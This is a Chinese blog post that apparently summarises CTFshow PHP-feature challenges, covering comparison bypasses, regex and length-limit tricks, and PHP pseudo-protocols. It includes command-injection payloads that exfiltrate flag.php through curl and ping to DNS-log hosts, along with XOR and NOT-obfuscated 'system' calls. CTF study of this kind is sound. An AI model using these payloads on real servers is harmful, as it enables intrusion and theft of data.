CTFSHOW-PHP特性篇总结

 

目录

 

前言(随便乱写的)

有关一些加密函数(md5,sha1等)

有关数字的

换行解析漏洞

目录溢出

有关截断

!==与===

突破长度限制

使用dns外带数据

 异或与取反

其他特殊解法

遍历

implode(get_defined_vars())

_()

php伪协议

脚本

最后的总结


前言(随便乱写的)

闲来无事,来水一篇文章,PHP特性篇做完也有几天了,但是自己掌握的不怎么样,这一部分的东西有点太零散,感觉很多都复现不出来。但是终究是花费大量时间做完这一部分了,来简单写写总结。

        说是php特性,其实就是找一下php的bug,怎么利用这些bug来绕过函数,大多数的情况下,可以在本地环境试一下如何绕过那些函数,然后最重要的就是查一下PHP手册。

PHP: PHP 手册 - Manualicon-default.png?t=N2N8https://www.php.net/manual/zh/index.php下面就是相关的一些总结,自己掌握的东西不多,感觉会漏掉很多东西。

有关一些加密函数(md5,sha1等)

当题目中出现两个变量的值不相等,但是加密后的值相等。这时候可以直接使用数组进行绕过,比如:

a[]=1&b[]=2

有关数字的

1.可以在数字后边加上字母截断,一般使用e就行,e好像也代表着科学计数法

2.可以使用不同进制,八进制,十六进制等

 八进制用0开头,16进制用0x开头。有的情况下能8进制绕过但是前面必须多加一个字节,比如: ?num=+010574或者?num=%2b010574

3.使用小数点.0

换行解析漏洞

web91

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

?>

第一个if是多行检测是否含有php,第二个是检测单行是否含有php

直接构造cmd=a%0aphp

相关链接:Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展_Firebasky的博客-CSDN博客

目录溢出

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p

roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro

c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/

self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se

lf/root/proc/self/root/var/www/html/flag.php

使用目录溢出能直接绕过检测

有关截断

可以使用以下截断方法:

%00,%0a,%0c(换页键)

!==与===

!==与===不进行类型转换,如果比较一个数字和字符串或者涉及到数字内容的字符串,则字符串会被转化为数值并且按照数值来进行比较

突破长度限制

正则表达式对长度有限制,所以可以直接将一个变量重复许多遍,然后构造pyload比如

<?php
    $a=str_repeat('very',250000);
    $b=$a.'36Dctfshow';
    echo $b;
?>

使用dns外带数据

http://dnslog.cn

?F=`$F`; curl `cat flag.php|grep "flag"`.jxfb9f.dnslog.cn
?F='$F';ping 'cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"'.vs8hyn.dnslog.cn -c 1
?F=`$F`; ping `nl flag.php|awk 'NR==16'| tr -cd "[a-z]"/"[0-9]"`.rqyhm6.fc436074.ipv6.1433.eu.org -c 1

 异或与取反

如果没有过滤^,可以使用异或构造命令

如果没有过滤~,可以使用取反构造命令

使用ASCII码值,通过取反或者异或构造,异或是相同为0,不同为1;取反是直接构造相反的0或者1.

比如使用异或构造('system')(tac f*)

(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%9c%d0)

使用取反构造:

(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5)

注意:有的情况需要在首尾用- *或者其他符号

其他特殊解法

遍历

FilesystemIterator为遍历文件的类

directoryItrerator遍历目录的类

GLOBALS把全部变量输出

implode(get_defined_vars())

implode(get_defined_vars()),在 PHP 中,implode() 函数用于将数组元素连接成一个字符串,而 get_defined_vars() 函数用于获取当前作用域内的所有变量名及其值,返回一个关联数组。将这两个函数结合使用的话,会将当前作用域内的所有变量名及其值连接成一个字符串。

可以受用echo var_export

_()

_()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()函数

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

php伪协议

PHP伪协议总结_大方子的博客-CSDN博客0x00php://input//所有测试均allow_url_fopen=On,allow_url_include=On!!!php://input是个可以访问请求的原始数据的只读流。POST请求的情况下,最好使用php://input来代替$HTTP_RAW_POST_DATA,因为它不依赖于特定的php.ini指令。而且,这样的情况下$HTTP_RAW_POST...https://blog.csdn.net/nzjdsds/article/details/82461043?ops_request_misc=&request_id=&biz_id=&utm_medium=distribute.pc_search_result.none-task-blog-2~all~koosearch~default-4-82461043-null-null.142^v82^koosearch_v1,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=php%E4%BC%AA%E5%8D%8F%E8%AE%AE&spm=1018.2226.3001.4187PHP伪协议详解_Snakin_ya的博客-CSDN博客PHP伪协议详解php支持的伪协议1 file:// — 访问本地文件系统2 http:// — 访问 HTTP(s) 网址3 ftp:// — 访问 FTP(s) URLs4 php:// — 访问各个输入/输出流(I/O streams)5 zlib:// — 压缩流6 data:// — 数据(RFC 2397)7 glob:// — 查找匹配的文件路径模式8 phar:// — PHP 归档9 ssh2:// — Secure Shell 210 rar:// — RAR11https://blog.csdn.net/cosmoslin/article/details/120695429?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168104215416800226593272%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=168104215416800226593272&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-120695429-null-null.142^v82^koosearch_v1,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=php%E4%BC%AA%E5%8D%8F%E8%AE%AE&spm=1018.2226.3001.4187熟练的使用伪协议对做题会有很大的帮助

脚本

脚本还是重要的一点,不过我还是照常不会

最后的总结(也是随便乱写写)

虽然说是做完这一部分了,但是通过翻做题记录来写这一篇总结的过程中,感觉很多东西都陌生了,如果再复现一下,应该很多题还是做不出来。。。只能慢慢积累经验了。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值